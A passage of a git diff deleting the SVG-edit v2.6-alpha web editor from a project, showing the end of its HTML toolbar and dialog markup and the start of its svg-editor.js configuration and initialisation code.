-		<div class="push_button" id="tool_clone_multi" title="Clone Elements [C]"></div>
-		<div class="push_button" id="tool_delete_multi" title="Delete Selected Elements [Delete/Backspace]"></div>
-		<div class="tool_sep"></div>
-		<div class="push_button" id="tool_group" title="Group Elements [G]"></div>
-		<div class="push_button" id="tool_make_link_multi" title="Make (hyper)link"></div>
-		<div class="push_button" id="tool_alignleft" title="Align Left"></div>
-		<div class="push_button" id="tool_aligncenter" title="Align Center"></div>
-		<div class="push_button" id="tool_alignright" title="Align Right"></div>
-		<div class="push_button" id="tool_aligntop" title="Align Top"></div>
-		<div class="push_button" id="tool_alignmiddle" title="Align Middle"></div>
-		<div class="push_button" id="tool_alignbottom" title="Align Bottom"></div>
-		<label id="tool_align_relative"> 
-			<span id="relativeToLabel">relative to:</span>
-			<select id="align_relative_to" title="Align relative to ...">
-			<option id="selected_objects" value="selected">selected objects</option>
-			<option id="largest_object" value="largest">largest object</option>
-			<option id="smallest_object" value="smallest">smallest object</option>
-			<option id="page" value="page">page</option>
-			</select>
-		</label>
-		<div class="tool_sep"></div>
-
-	</div>
-
-	<div id="rect_panel">
-		<div class="toolset">
-			<label id="rect_width_tool" title="Change rectangle width">
-				<span id="rwidthLabel" class="icon_label"></span>
-				<input id="rect_width" class="attr_changer" size="3" data-attr="width"/>
-			</label>
-			<label id="rect_height_tool" title="Change rectangle height">
-				<span id="rheightLabel" class="icon_label"></span>
-				<input id="rect_height" class="attr_changer" size="3" data-attr="height"/>
-			</label>
-		</div>
-		<label id="cornerRadiusLabel" title="Change Rectangle Corner Radius" class="toolset">
-			<span class="icon_label"></span>
-			<input id="rect_rx" size="3" value="0" type="text" data-attr="Corner Radius"/>
-		</label>
-	</div>
-
-	<div id="image_panel">
-	<div class="toolset">
-		<label><span id="iwidthLabel" class="icon_label"></span>
-		<input id="image_width" class="attr_changer" title="Change image width" size="3" data-attr="width"/>
-		</label>
-		<label><span id="iheightLabel" class="icon_label"></span>
-		<input id="image_height" class="attr_changer" title="Change image height" size="3" data-attr="height"/>
-		</label>
-	</div>
-	<div class="toolset">
-		<label id="tool_image_url">url:
-			<input id="image_url" type="text" title="Change URL" size="35"/>
-		</label>
-		<label id="tool_change_image">
-			<button id="change_image_url" style="display:none;">Change Image</button>
-			<span id="url_notice" title="NOTE: This image cannot be embedded. It will depend on this path to be displayed"></span>
-		</label>
-	</div>
-  </div>
-
-	<div id="circle_panel">
-		<div class="toolset">
-			<label id="tool_circle_cx">cx:
-			<input id="circle_cx" class="attr_changer" title="Change circle's cx coordinate" size="3" data-attr="cx"/>
-			</label>
-			<label id="tool_circle_cy">cy:
-			<input id="circle_cy" class="attr_changer" title="Change circle's cy coordinate" size="3" data-attr="cy"/>
-			</label>
-		</div>
-		<div class="toolset">
-			<label id="tool_circle_r">r:
-			<input id="circle_r" class="attr_changer" title="Change circle's radius" size="3" data-attr="r"/>
-			</label>
-		</div>
-	</div>
-
-	<div id="ellipse_panel">
-		<div class="toolset">
-			<label id="tool_ellipse_cx">cx:
-			<input id="ellipse_cx" class="attr_changer" title="Change ellipse's cx coordinate" size="3" data-attr="cx"/>
-			</label>
-			<label id="tool_ellipse_cy">cy:
-			<input id="ellipse_cy" class="attr_changer" title="Change ellipse's cy coordinate" size="3" data-attr="cy"/>
-			</label>
-		</div>
-		<div class="toolset">
-			<label id="tool_ellipse_rx">rx:
-			<input id="ellipse_rx" class="attr_changer" title="Change ellipse's x radius" size="3" data-attr="rx"/>
-			</label>
-			<label id="tool_ellipse_ry">ry:
-			<input id="ellipse_ry" class="attr_changer" title="Change ellipse's y radius" size="3" data-attr="ry"/>
-			</label>
-		</div>
-	</div>
-
-	<div id="line_panel">
-		<div class="toolset">
-			<label id="tool_line_x1">x1:
-			<input id="line_x1" class="attr_changer" title="Change line's starting x coordinate" size="3" data-attr="x1"/>
-			</label>
-			<label id="tool_line_y1">y1:
-			<input id="line_y1" class="attr_changer" title="Change line's starting y coordinate" size="3" data-attr="y1"/>
-			</label>
-		</div>
-		<div class="toolset">
-			<label id="tool_line_x2">x2:
-			<input id="line_x2" class="attr_changer" title="Change line's ending x coordinate" size="3" data-attr="x2"/>
-			</label>
-			<label id="tool_line_y2">y2:
-			<input id="line_y2" class="attr_changer" title="Change line's ending y coordinate" size="3" data-attr="y2"/>
-			</label>
-		</div>
-	</div>
-
-	<div id="text_panel">
-		<div class="toolset">
-			<div class="tool_button" id="tool_bold" title="Bold Text [B]"><span></span>B</div>
-			<div class="tool_button" id="tool_italic" title="Italic Text [I]"><span></span>i</div>
-		</div>
-		
-		<div class="toolset" id="tool_font_family">
-			<label>
-				<!-- Font family -->
-				<input id="font_family" type="text" title="Change Font Family" size="12"/>
-			</label>
-			<div id="font_family_dropdown" class="dropdown">
-				<button></button>
-				<ul>
-					<li style="font-family:serif">Serif</li>
-					<li style="font-family:sans-serif">Sans-serif</li>
-					<li style="font-family:cursive">Cursive</li>
-					<li style="font-family:fantasy">Fantasy</li>
-					<li style="font-family:monospace">Monospace</li>
-				</ul>
-			</div>
-		</div>
-
-		<label id="tool_font_size" title="Change Font Size">
-			<span id="font_sizeLabel" class="icon_label"></span>
-			<input id="font_size" size="3" value="0" type="text"/>
-		</label>
-		
-		<!-- Not visible, but still used -->
-		<input id="text" type="text" size="35"/>
-	</div>
-
-	<!-- formerly gsvg_panel -->
-	<div id="container_panel">
-		<div class="tool_sep"></div>
-
-		<!-- Add viewBox field here? -->
-
-		<label id="group_title" title="Group identification label">
-			<span>label:</span>
-			<input id="g_title" data-attr="title" size="10" type="text"/>
-		</label>
-	</div>
-	
-	<div id="use_panel">
-		<div class="push_button" id="tool_unlink_use" title="Break link to reference element (make unique)"></div>
-	</div>
-	
-	<div id="g_panel">
-		<div class="push_button" id="tool_ungroup" title="Ungroup Elements [G]"></div>
-	</div>
-
-	<!-- For anchor elements -->
-	<div id="a_panel">
-		<label id="tool_link_url" title="Set link URL (leave empty to remove)">
-			<span id="linkLabel" class="icon_label"></span>
-			<input id="link_url" type="text" size="35"/>
-		</label>	
-	</div>
-	
-	<div id="path_node_panel">
-		<div class="tool_sep"></div>
-		<div class="tool_button push_button_pressed" id="tool_node_link" title="Link Control Points"></div>
-		<div class="tool_sep"></div>
-		<label id="tool_node_x">x:
-			<input id="path_node_x" class="attr_changer" title="Change node's x coordinate" size="3" data-attr="x"/>
-		</label>
-		<label id="tool_node_y">y:
-			<input id="path_node_y" class="attr_changer" title="Change node's y coordinate" size="3" data-attr="y"/>
-		</label>
-		
-		<select id="seg_type" title="Change Segment type">
-			<option id="straight_segments" selected="selected" value="4">Straight</option>
-			<option id="curve_segments" value="6">Curve</option>
-		</select>
-		<div class="tool_button" id="tool_node_clone" title="Clone Node"></div>
-		<div class="tool_button" id="tool_node_delete" title="Delete Node"></div>
-		<div class="tool_button" id="tool_openclose_path" title="Open/close sub-path"></div>
-		<div class="tool_button" id="tool_add_subpath" title="Add sub-path"></div>
-	</div>
-</div> <!-- tools_top -->
-	<div id="cur_context_panel">
-		
-	</div>
-
-
-<div id="tools_left" class="tools_panel">
-	<div class="tool_button" id="tool_select" title="Select Tool"></div>
-	<div class="tool_button" id="tool_fhpath" title="Pencil Tool"></div>
-	<div class="tool_button" id="tool_line" title="Line Tool"></div>
-	<div class="tool_button flyout_current" id="tools_rect_show" title="Square/Rect Tool">
-		<div class="flyout_arrow_horiz"></div>
-	</div>
-	<div class="tool_button flyout_current" id="tools_ellipse_show" title="Ellipse/Circle Tool">
-		<div class="flyout_arrow_horiz"></div>
-	</div>
-	<div class="tool_button" id="tool_path" title="Path Tool"></div>
-	<div class="tool_button" id="tool_text" title="Text Tool"></div>
-	<div class="tool_button" id="tool_image" title="Image Tool"></div>
-	<div class="tool_button" id="tool_zoom" title="Zoom Tool [Ctrl+Up/Down]"></div>
-	
-	<div style="display: none">
-		<div id="tool_rect" title="Rectangle"></div>
-		<div id="tool_square" title="Square"></div>
-		<div id="tool_fhrect" title="Free-Hand Rectangle"></div>
-		<div id="tool_ellipse" title="Ellipse"></div>
-		<div id="tool_circle" title="Circle"></div>
-		<div id="tool_fhellipse" title="Free-Hand Ellipse"></div>
-	</div>
-</div> <!-- tools_left -->
-
-<div id="tools_bottom" class="tools_panel">
-
-    <!-- Zoom buttons -->
-	<div id="zoom_panel" class="toolset" title="Change zoom level">
-		<label>
-		<span id="zoomLabel" class="zoom_tool icon_label"></span>
-		<input id="zoom" size="3" value="100" type="text" />
-		</label>
-		<div id="zoom_dropdown" class="dropdown">
-			<button></button>
-			<ul>
-				<li>1000%</li>
-				<li>400%</li>
-				<li>200%</li>
-				<li>100%</li>
-				<li>50%</li>
-				<li>25%</li>
-				<li id="fit_to_canvas" data-val="canvas">Fit to canvas</li>
-				<li id="fit_to_sel" data-val="selection">Fit to selection</li>
-				<li id="fit_to_layer_content" data-val="layer">Fit to layer content</li>
-				<li id="fit_to_all" data-val="content">Fit to all content</li>
-				<li>100%</li>
-			</ul>
-		</div>
-		<div class="tool_sep"></div>
-	</div>
-
-	<div id="tools_bottom_2">
-		<div id="color_tools">
-			<div class="color_tool" id="tool_fill">
-				<label class="icon_label" for="fill_color" title="Change fill color"></label>
-				<div class="color_block">
-					<div id="fill_bg"></div>
-					<div id="fill_color" class="color_block"></div>
-				</div>
-			</div>
-		
-			<div class="color_tool" id="tool_stroke">
-				<div class="color_block">
-					<label class="icon_label" title="Change stroke color"></label>
-				</div>
-				<div class="color_block">
-					<div id="stroke_bg"></div>
-					<div id="stroke_color" class="color_block" title="Change stroke color"></div>
-				</div>
-				
-				<label>
-					<input id="stroke_width" title="Change stroke width by 1, shift-click to change by 0.1" size="2" value="5" type="text" data-attr="Stroke Width"/>
-				</label>
-				
-				<label class="stroke_tool">
-					<select id="stroke_style" title="Change stroke dash style">
-						<option selected="selected" value="none">&mdash;</option>
-						<option value="2,2">...</option>
-						<option value="5,5">- -</option>
-						<option value="5,2,2,2">- .</option>
-						<option value="5,2,2,2,2,2">- ..</option>
-					</select>
-				</label>	
-
- 				<div class="stroke_tool dropdown" id="stroke_linejoin">
- 					<div>
-						<div id="cur_linejoin" title="Linejoin: Miter"></div>
-						<button></button>
-					</div>
- 				</div>
- 				
- 				<div class="stroke_tool dropdown" id="stroke_linecap">
- 					<div>
-						<div id="cur_linecap" title="Linecap: Butt"></div>
-						<button></button>
-					</div>
- 				</div>
-			
-				<div id="toggle_stroke_tools" title="Show/hide more stroke tools">
-					&gt;&gt;
-				</div>
-				
-			</div>
-		</div>
-	
-		<div class="toolset" id="tool_opacity" title="Change selected item opacity">
-			<label>
-				<span id="group_opacityLabel" class="icon_label"></span>
-				<input id="group_opacity" size="3" value="100" type="text"/>
-			</label>
-			<div id="opacity_dropdown" class="dropdown">
-				<button></button>
-				<ul>
-					<li>0%</li>
-					<li>25%</li>
-					<li>50%</li>
-					<li>75%</li>
-					<li>100%</li>
-					<li class="special"><div id="opac_slider"></div></li>
-				</ul>
-			</div>
-		</div>
-
-	</div>
-
-	<div id="tools_bottom_3">
-		<div id="palette_holder"><div id="palette" title="Click to change fill color, shift-click to change stroke color"></div></div>
-	</div>
-	<div id="copyright"><span id="copyrightLabel">Powered by</span> <a href="http://svg-edit.googlecode.com/" target="_blank">SVG-edit v2.6-alpha</a></div>
-</div>
-
-<div id="option_lists" class="dropdown">
-	<ul id="linejoin_opts">
-		<li class="tool_button current" id="linejoin_miter" title="Linejoin: Miter"></li>
-		<li class="tool_button" id="linejoin_round" title="Linejoin: Round"></li>
-		<li class="tool_button" id="linejoin_bevel" title="Linejoin: Bevel"></li>
-	</ul>
-	
-	<ul id="linecap_opts">
-		<li class="tool_button current" id="linecap_butt" title="Linecap: Butt"></li>
-		<li class="tool_button" id="linecap_square" title="Linecap: Square"></li>
-		<li class="tool_button" id="linecap_round" title="Linecap: Round"></li>
-	</ul>
-	
-	<ul id="position_opts" class="optcols3">
-		<li class="push_button" id="tool_posleft" title="Align Left"></li>
-		<li class="push_button" id="tool_poscenter" title="Align Center"></li>
-		<li class="push_button" id="tool_posright" title="Align Right"></li>
-		<li class="push_button" id="tool_postop" title="Align Top"></li>
-		<li class="push_button" id="tool_posmiddle" title="Align Middle"></li>
-		<li class="push_button" id="tool_posbottom" title="Align Bottom"></li>
-	</ul>
-</div>
-
-
-<!-- hidden divs -->
-<div id="color_picker"></div>
-
-</div> <!-- svg_editor -->
-
-<div id="svg_source_editor">
-	<div id="svg_source_overlay"></div>
-	<div id="svg_source_container">
-		<div id="tool_source_back" class="toolbar_button">
-			<button id="tool_source_save">Apply Changes</button>
-			<button id="tool_source_cancel">Cancel</button>
-		</div>
-		<div id="save_output_btns">
-			<p id="copy_save_note">Copy the contents of this box into a text editor, then save the file with a .svg extension.</p>
-			<button id="copy_save_done">Done</button>
-		</div>
-		<form>
-			<textarea id="svg_source_textarea" spellcheck="false"></textarea>
-		</form>
-	</div>
-</div>
-
-
-<div id="svg_docprops">
-	<div id="svg_docprops_overlay"></div>
-	<div id="svg_docprops_container">
-		<div id="tool_docprops_back" class="toolbar_button">
-			<button id="tool_docprops_save">OK</button>
-			<button id="tool_docprops_cancel">Cancel</button>
-		</div>
-
-
-		<fieldset id="svg_docprops_docprops">
-			<legend id="svginfo_image_props">Image Properties</legend>
-			<label>
-				<span id="svginfo_title">Title:</span>
-				<input type="text" id="canvas_title"/>
-			</label>			
-	
-			<fieldset id="change_resolution">
-				<legend id="svginfo_dim">Canvas Dimensions</legend>
-
-				<label><span id="svginfo_width">width:</span> <input type="text" id="canvas_width" size="6"/></label>
-					
-				<label><span id="svginfo_height">height:</span> <input type="text" id="canvas_height" size="6"/></label>
-				
-				<label>
-					<select id="resolution">
-						<option id="selectedPredefined" selected="selected">Select predefined:</option>
-						<option>640x480</option>
-						<option>800x600</option>
-						<option>1024x768</option>
-						<option>1280x960</option>
-						<option>1600x1200</option>
-						<option id="fitToContent" value="content">Fit to Content</option>
-					</select>
-				</label>
-			</fieldset>
-
-			<fieldset id="image_save_opts">
-				<legend id="includedImages">Included Images</legend>
-				<label><input type="radio" name="image_opt" value="embed" checked="checked"/> <span id="image_opt_embed">Embed data (local files)</span> </label>
-				<label><input type="radio" name="image_opt" value="ref"/> <span id="image_opt_ref">Use file reference</span> </label>
-			</fieldset>			
-		</fieldset>
-
-	</div>
-</div>
-
-<div id="svg_prefs">
-	<div id="svg_prefs_overlay"></div>
-	<div id="svg_prefs_container">
-		<div id="tool_prefs_back" class="toolbar_button">
-			<button id="tool_prefs_save">OK</button>
-			<button id="tool_prefs_cancel">Cancel</button>
-		</div>
-
-		<fieldset>
-			<legend id="svginfo_editor_prefs">Editor Preferences</legend>
-
-			<label><span id="svginfo_lang">Language:</span>
-				<!-- Source: http://en.wikipedia.org/wiki/Language_names -->
-				<select id="lang_select">
-				  <option id="lang_ar" value="ar">العربية</option>
-					<option id="lang_cs" value="cs">Čeština</option>
-					<option id="lang_de" value="de">Deutsch</option>
-					<option id="lang_en" value="en" selected="selected">English</option>
-					<option id="lang_es" value="es">Español</option>
-					<option id="lang_fa" value="fa">فارسی</option>
-					<option id="lang_fr" value="fr">Français</option>
-					<option id="lang_fy" value="fy">Frysk</option>
-					<option id="lang_hi" value="hi">&#2361;&#2367;&#2344;&#2381;&#2342;&#2368;, &#2361;&#2367;&#2306;&#2342;&#2368;</option>
-					<option id="lang_it" value="it">Italiano</option>
-					<option id="lang_ja" value="ja">日本語</option>
-					<option id="lang_nl" value="nl">Nederlands</option>
-					<option id="lang_pt-BR" value="pt-BR">Português (BR)</option>
-					<option id="lang_ro" value="ro">Româneşte</option>
-					<option id="lang_ru" value="ru">Русский</option>
-					<option id="lang_sk" value="sk">Slovenčina</option>
-					<option id="lang_zh-TW" value="zh-TW">繁體中文</option>
-				</select>
-			</label>
-
-			<label><span id="svginfo_icons">Icon size:</span>
-				<select id="iconsize">
-					<option id="icon_small" value="s">Small</option>
-					<option id="icon_medium" value="m" selected="selected">Medium</option>
-					<option id="icon_large" value="l">Large</option>
-					<option id="icon_xlarge" value="xl">Extra Large</option>
-				</select>
-			</label>
-
-			<fieldset id="change_background">
-				<legend id="svginfo_change_background">Editor Background</legend>
-				<div id="bg_blocks"></div>
-				<label><span id="svginfo_bg_url">URL:</span> <input type="text" id="canvas_bg_url"/></label>
-				<p id="svginfo_bg_note">Note: Background will not be saved with image.</p>
-			</fieldset>
-			
-			<fieldset id="change_grid">
-				<legend id="svginfo_grid_settings">Grid</legend>
-				<label><span id="svginfo_snap_onoff">Snapping on/off</span><input type="checkbox" value="snapping_on" id="grid_snapping_on"></label>
-				<label><span id="svginfo_snap_step">Snapping Step-Size:</span> <input type="text" id="grid_snapping_step" size="3" value="10"/></label>
-			</fieldset>
-
-			<fieldset id="units_rulers">
-				<legend id="svginfo_units_rulers">Units & Rulers</legend>
-				<label><span id="svginfo_rulers_onoff">Show rulers</span><input type="checkbox" value="show_rulers" id="show_rulers" checked></label>
-				<label>
-					<span id="svginfo_unit">Base Unit:</span>
-					<select id="base_unit">
-						<option value="px">Pixels</option>
-						<option value="cm">Centimeters</option>
-						<option value="mm">Millimeters</option>
-						<option value="in">Inches</option>
-						<option value="pt">Points</option>
-						<option value="pc">Picas</option>
-						<option value="em">Ems</option>
-						<option value="ex">Exs</option>
-					</select>
-				</label>
-				<!-- Should this be an export option instead? -->
-<!-- 
-				<span id="svginfo_unit_system">Unit System:</span>
-				<label>
-					<input type="radio" name="unit_system" value="single" checked="checked"/>
-					<span id="svginfo_single_type_unit">Single type unit</span>
-					<small id="svginfo_single_type_unit_sub">CSS unit type is set on root element. If a different unit type is entered in a text field, it is converted back to user units on export.</small>
-				</label>
-				<label>
-					<input type="radio" name="unit_system" value="multi"/>
-					<span id="svginfo_multi_units">Multiple CSS units</span> 
-					<small id="svginfo_single_type_unit_sub">Attributes can be given different CSS units, which may lead to inconsistant results among viewers.</small>
-				</label>
- -->
-			</fieldset>
-	
-		</fieldset>
-
-	</div>
-</div>
-
-<div id="dialog_box">
-	<div id="dialog_box_overlay"></div>
-	<div id="dialog_container">
-		<div id="dialog_content"></div>
-		<div id="dialog_buttons"></div>
-	</div>
-</div>
-
-<ul id="cmenu_canvas" class="contextMenu">
-	<li><a href="#cut">Cut</a></li>
-	<li><a href="#copy">Copy</a></li>
-	<li><a href="#paste">Paste</a></li>
-	<li><a href="#paste_in_place">Paste in Place</a></li>
-	<li class="separator"><a href="#delete">Delete</a></li>
-	<li class="separator"><a href="#group">Group<span class="shortcut">G</span></a></li>
-	<li><a href="#ungroup">Ungroup<span class="shortcut">G</span></a></li>
-        <li class="separator"><a href="#move_front">Bring to Front<span class="shortcut">SHFT+CTRL+]</span></a></li>
-	<li><a href="#move_up">Bring Forward<span class="shortcut">CTRL+]</span></a></li>
-	<li><a href="#move_down">Send Backward<span class="shortcut">CTRL+[</span></a></li>
-        <li><a href="#move_back">Send to Back<span class="shortcut">SHFT+CTRL+[</span></a></li>
-</ul>
-
-
-<ul id="cmenu_layers" class="contextMenu">
-	<li><a href="#dupe">Duplicate Layer...</a></li>
-	<li><a href="#delete">Delete Layer</a></li>
-	<li><a href="#merge_down">Merge Down</a></li>
-	<li><a href="#merge_all">Merge All</a></li>
-</ul>
-
-</body>
-</html>
diff --git a/public/svg-edit/editor/svg-editor.js b/public/svg-edit/editor/svg-editor.js
deleted file mode 100644
index c233083f..00000000
--- a/public/svg-edit/editor/svg-editor.js
+++ /dev/null
@@ -1,4862 +0,0 @@
-/*
- * svg-editor.js
- *
- * Licensed under the Apache License, Version 2
- *
- * Copyright(c) 2010 Alexis Deveria
- * Copyright(c) 2010 Pavol Rusnak
- * Copyright(c) 2010 Jeff Schiller
- * Copyright(c) 2010 Narendra Sisodiya
- *
- */
-
-// Dependencies:
-// 1) units.js
-// 2) browser.js
-// 3) svgcanvas.js
-
-(function() { 
-	
-	if(!window.svgEditor) window.svgEditor = function($) {
-		var svgCanvas;
-		var Editor = {};
-		var is_ready = false;
-		
-		var defaultPrefs = {
-			lang:'en',
-			iconsize:'m',
-			bkgd_color:'#FFF',
-			bkgd_url:'',
-			img_save:'embed'
-			},
-			curPrefs = {},
-			
-			// Note: Difference between Prefs and Config is that Prefs can be
-			// changed in the UI and are stored in the browser, config can not
-			
-			curConfig = {
-				canvas_expansion: 3,
-				dimensions: [640,480],
-				initFill: {
-					color: 'FF0000',  // solid red
-					opacity: 1
-				},
-				initStroke: {
-					width: 2,
-					color: '000000',  // solid black
-					opacity: 1
-				},
-				initOpacity: 1,
-				imgPath: 'images/',
-				langPath: 'locale/',
-				extPath: 'extensions/',
-				jGraduatePath: 'jgraduate/images/',
-				extensions: ['ext-markers.js','ext-connector.js', 'ext-eyedropper.js', 'ext-imagelib.js','ext-grid.js', 'ext-itex.js'],
-				initTool: 'select',
-				wireframe: false,
-				colorPickerCSS: null,
-				gridSnapping: false,
-				baseUnit: 'px',
-				snappingStep: 10,
-				showRulers: true
-			},
-			uiStrings = Editor.uiStrings = {
-				common: {
-					"ok":"OK",
-					"cancel":"Cancel",
-					"key_up":"Up",
-					"key_down":"Down",
-					"key_backspace":"Backspace",
-					"key_del":"Del"
-	
-				},
-				// This is needed if the locale is English, since the locale strings are not read in that instance.
-				layers: {
-					"layer":"Layer"
-				},
-				notification: {
-					"invalidAttrValGiven":"Invalid value given",
-					"noContentToFitTo":"No content to fit to",
-					"dupeLayerName":"There is already a layer named that!",
-					"enterUniqueLayerName":"Please enter a unique layer name",
-					"enterNewLayerName":"Please enter the new layer name",
-					"layerHasThatName":"Layer already has that name",
-					"QmoveElemsToLayer":"Move selected elements to layer \"%s\"?",
-					"QwantToClear":"Do you want to clear the drawing?\nThis will also erase your undo history!",
-					"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-					"QerrorsRevertToSource":"There were parsing errors in your SVG source.\nRevert back to original SVG source?",
-					"QignoreSourceChanges":"Ignore changes made to SVG source?",
-					"featNotSupported":"Feature not supported",
-					"enterNewImgURL":"Enter the new image URL",
-					"defsFailOnSave": "NOTE: Due to a bug in your browser, this image may appear wrong (missing gradients or elements). It will however appear correct once actually saved.",
-					"loadingImage":"Loading image, please wait...",
-					"saveFromBrowser": "Select \"Save As...\" in your browser to save this image as a %s file.",
-					"noteTheseIssues": "Also note the following issues: ",
-					"unsavedChanges": "There are unsaved changes.",
-					"enterNewLinkURL": "Enter the new hyperlink URL",
-					"errorLoadingSVG": "Error: Unable to load SVG data",
-					"URLloadFail": "Unable to load from URL",
-					"retrieving": 'Retrieving "%s" ...'
-				}
-			};
-		
-		var curPrefs = {}; //$.extend({}, defaultPrefs);
-		
-		var customHandlers = {};
-		
-		Editor.curConfig = curConfig;
-		
-		Editor.tool_scale = 1;
-		
-		// Store and retrieve preferences
-		$.pref = function(key, val) {
-			if(val) curPrefs[key] = val;
-			key = 'svg-edit-'+key;
-			var host = location.hostname,
-				onweb = host && host.indexOf('.') >= 0,
-				store = (val != undefined),
-				storage = false;
-			// Some FF versions throw security errors here
-			try { 
-				if(window.localStorage) { // && onweb removed so Webkit works locally
-					storage = localStorage;
-				}
-			} catch(e) {}
-			try { 
-				if(window.globalStorage && onweb) {
-					storage = globalStorage[host];
-				}
-			} catch(e) {}
-			
-			if(storage) {
-				if(store) storage.setItem(key, val);
-					else if (storage.getItem(key)) return storage.getItem(key) + ''; // Convert to string for FF (.value fails in Webkit)
-			} else if(window.widget) {
-				if(store) widget.setPreferenceForKey(val, key);
-					else return widget.preferenceForKey(key);
-			} else {
-				if(store) {
-					var d = new Date();
-					d.setTime(d.getTime() + 31536000000);
-					val = encodeURIComponent(val);
-					document.cookie = key+'='+val+'; expires='+d.toUTCString();
-				} else {
-					var result = document.cookie.match(new RegExp(key + "=([^;]+)"));
-					return result?decodeURIComponent(result[1]):'';
-				}
-			}
-		}
-		
-		Editor.setConfig = function(opts) {
-			$.each(opts, function(key, val) {
-				// Only allow prefs defined in defaultPrefs
-				if(key in defaultPrefs) {
-					$.pref(key, val);
-				}
-			});
-			$.extend(true, curConfig, opts);
-			if(opts.extensions) {
-				curConfig.extensions = opts.extensions;
-			}
-
-		}
-		
-		// Extension mechanisms must call setCustomHandlers with two functions: opts.open and opts.save
-		// opts.open's responsibilities are:
-		// 	- invoke a file chooser dialog in 'open' mode
-		//	- let user pick a SVG file
-		//	- calls setCanvas.setSvgString() with the string contents of that file
-		// opts.save's responsibilities are:
-		//	- accept the string contents of the current document 
-		//	- invoke a file chooser dialog in 'save' mode
-		// 	- save the file to location chosen by the user
-		Editor.setCustomHandlers = function(opts) {
-			Editor.ready(function() {
-				if(opts.open) {
-					$('#tool_open > input[type="file"]').remove();
-					$('#tool_open').show();
-					svgCanvas.open = opts.open;
-				}
-				if(opts.save) {
-					show_save_warning = false;
-					svgCanvas.bind("saved", opts.save);
-				}
-				if(opts.pngsave) {
-					svgCanvas.bind("exported", opts.pngsave);
-				}
-				customHandlers = opts;
-			});
-		}
-		
-		Editor.randomizeIds = function() {
-			svgCanvas.randomizeIds(arguments)
-		}
-
-		Editor.init = function() {
-			// For external openers
-			(function() {
-				// let the opener know SVG Edit is ready
-				var w = window.opener;
-				if (w) {
-			    		try {
-						var svgEditorReadyEvent = w.document.createEvent("Event");
-						svgEditorReadyEvent.initEvent("svgEditorReady", true, true);
-						w.document.documentElement.dispatchEvent(svgEditorReadyEvent);
-			    		}
-					catch(e) {}
-				}
-			})();
-
-			(function() {
-				// Load config/data from URL if given
-				var urldata = $.deparam.querystring(true);
-				if(!$.isEmptyObject(urldata)) {
-					if(urldata.dimensions) {
-						urldata.dimensions = urldata.dimensions.split(',');
-					}
-					
-					if(urldata.extensions) {
-						urldata.extensions = urldata.extensions.split(',');
-					}
-					
-					if(urldata.bkgd_color) {
-						urldata.bkgd_color = '#' + urldata.bkgd_color;
-					}
-
-					svgEditor.setConfig(urldata);
-					
-					var src = urldata.source;
-					var qstr = $.param.querystring();
-					
-					if(!src) { // urldata.source may have been null if it ended with '='
-						if(qstr.indexOf('source=data:') >= 0) {
-							src = qstr.match(/source=(data:[^&]*)/)[1];
-						}
-					}
-					
-					if(src) {
-						if(src.indexOf("data:") === 0) {
-							// plusses get replaced by spaces, so re-insert
-							src = src.replace(/ /g, "+");
-							Editor.loadFromDataURI(src);
-						} else {
-							Editor.loadFromString(src);
-						}
-					} else if(qstr.indexOf('paramurl=') !== -1) {
-						// Get paramater URL (use full length of remaining location.href)
-						svgEditor.loadFromURL(qstr.substr(9));
-					} else if(urldata.url) {
-						svgEditor.loadFromURL(urldata.url);
-					}
-				}
-			})();
-			
-			var extFunc = function() {
-				$.each(curConfig.extensions, function() {
-					var extname = this;
-					$.getScript(curConfig.extPath + extname, function(d) {
-						// Fails locally in Chrome 5
-						if(!d) {
-							var s = document.createElement('script');
-							s.src = curConfig.extPath + extname;
-							document.querySelector('head').appendChild(s);
-						}
-					});
-				});
-				
-				var good_langs = [];
-	
-				$('#lang_select option').each(function() {
-					good_langs.push(this.value);
-				});
-				
-	// 			var lang = ('lang' in curPrefs) ? curPrefs.lang : null;
-				Editor.putLocale(null, good_langs);
-			}
-			
-			// Load extensions
-			// Bit of a hack to run extensions in local Opera/IE9
-			if(document.location.protocol === 'file:') {
-				setTimeout(extFunc, 100);
-			} else {
-				extFunc();
-			}
-			$.svgIcons(curConfig.imgPath + 'svg_edit_icons.svg', {
-				w:24, h:24,
-				id_match: false,
- 				no_img: !svgedit.browser.isWebkit(), // Opera & Firefox 4 gives odd behavior w/images
-				fallback_path: curConfig.imgPath,
-				fallback:{
-					'new_image':'clear.png',
-					'save':'save.png',
-					'open':'open.png',
-					'source':'source.png',
-					'docprops':'document-properties.png',
-					'wireframe':'wireframe.png',
-					
-					'undo':'undo.png',
-					'redo':'redo.png',
-					
-					'select':'select.png',
-					'select_node':'select_node.png',
-					'pencil':'fhpath.png',
-					'pen':'line.png',
-					'square':'square.png',
-					'rect':'rect.png',
-					'fh_rect':'freehand-square.png',
-					'circle':'circle.png',
-					'ellipse':'ellipse.png',
-					'fh_ellipse':'freehand-circle.png',
-					'path':'path.png',
-					'text':'text.png',
-					'image':'image.png',
-					'zoom':'zoom.png',
-					
-					'clone':'clone.png',
-					'node_clone':'node_clone.png',
-					'delete':'delete.png',
-					'node_delete':'node_delete.png',
-					'group':'shape_group.png',
-					'ungroup':'shape_ungroup.png',
-					'move_top':'move_top.png',
-					'move_bottom':'move_bottom.png',
-					'to_path':'to_path.png',
-					'link_controls':'link_controls.png',
-					'reorient':'reorient.png',
-					
-					'align_left':'align-left.png',
-					'align_center':'align-center',
-					'align_right':'align-right',
-					'align_top':'align-top',
-					'align_middle':'align-middle',
-					'align_bottom':'align-bottom',
-		
-					'go_up':'go-up.png',
-					'go_down':'go-down.png',
-		
-					'ok':'save.png',
-					'cancel':'cancel.png',
-					
-					'arrow_right':'flyouth.png',
-					'arrow_down':'dropdown.gif'
-				},
-				placement: {
-					'#logo':'logo',
-				
-					'#tool_clear div,#layer_new':'new_image',
-					'#tool_save div':'save',
-					'#tool_export div':'export',
-					'#tool_open div div':'open',
-					'#tool_import div div':'import',
-					'#tool_source':'source',
-					'#tool_docprops > div':'docprops',
-					'#tool_wireframe':'wireframe',
-					
-					'#tool_undo':'undo',
-					'#tool_redo':'redo',
-					
-					'#tool_select':'select',
-					'#tool_fhpath':'pencil',
-					'#tool_line':'pen',
-					'#tool_rect,#tools_rect_show':'rect',
-					'#tool_square':'square',
-					'#tool_fhrect':'fh_rect',
-					'#tool_ellipse,#tools_ellipse_show':'ellipse',
-					'#tool_circle':'circle',
-					'#tool_fhellipse':'fh_ellipse',
-					'#tool_path':'path',
-					'#tool_text,#layer_rename':'text',
-					'#tool_image':'image',
-					'#tool_zoom':'zoom',
-					
-					'#tool_clone,#tool_clone_multi':'clone',
